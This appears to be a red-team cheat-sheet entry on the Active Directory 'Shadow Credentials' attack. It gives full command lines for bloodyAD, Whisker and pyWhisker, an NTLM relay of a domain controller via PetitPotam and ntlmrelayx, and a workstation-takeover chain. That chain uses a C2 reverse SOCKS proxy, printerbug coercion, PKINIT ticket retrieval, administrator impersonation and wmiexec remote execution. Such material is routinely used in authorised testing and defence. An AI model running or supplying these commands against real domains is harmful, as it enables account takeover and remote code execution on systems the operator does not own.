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Password - Shadow Credentials

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

⚠ User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements:

  • Domain Controller on (at least) Windows Server 2016
  • Domain must have Active Directory Certificate Services and Certificate Authority configured
  • PKINIT Kerberos authentication
  • An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object

Exploitation: - Windows/Linux 

bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody add shadowCredentials targetpc$
bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody remove shadowCredentials targetpc$ --key <key from previous output>
- From Windows, use Whisker: 
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
# Removes a key credential from the target object specified by a DeviceID GUID.
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b

  • From Linux, use pyWhisker: 
    # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
# Removes a key credential from the target object specified by a DeviceID GUID.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"

Scenario

Shadow Credential Relaying

  • Trigger an NTLM authentication from DC01 (PetitPotam)
  • Relay it to DC02 (ntlmrelayx)
  • Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
  • Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

Workstation Takeover with RBCD

Requirements:

  • Print Spooler service running
  • WebClient service running

Exploitation:

  • Using your C2, start a reverse socks on port 1080: socks 1080
  • Enable port forward from port 8081 to 81 on the compromised machine: rportfwd 8081 127.0.0.1 81
  • Start the relay: proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81
  • Trigger a callback on webdav: proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file
  • Use PKINIT to get a TGT for the machine account: proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>
  • Elevate your privileges by creating a service ticket impersonating a local admin: proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v
  • Use your ticket: export KRB5CCNAME=/path/to/administrator_target.ccache; proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab

References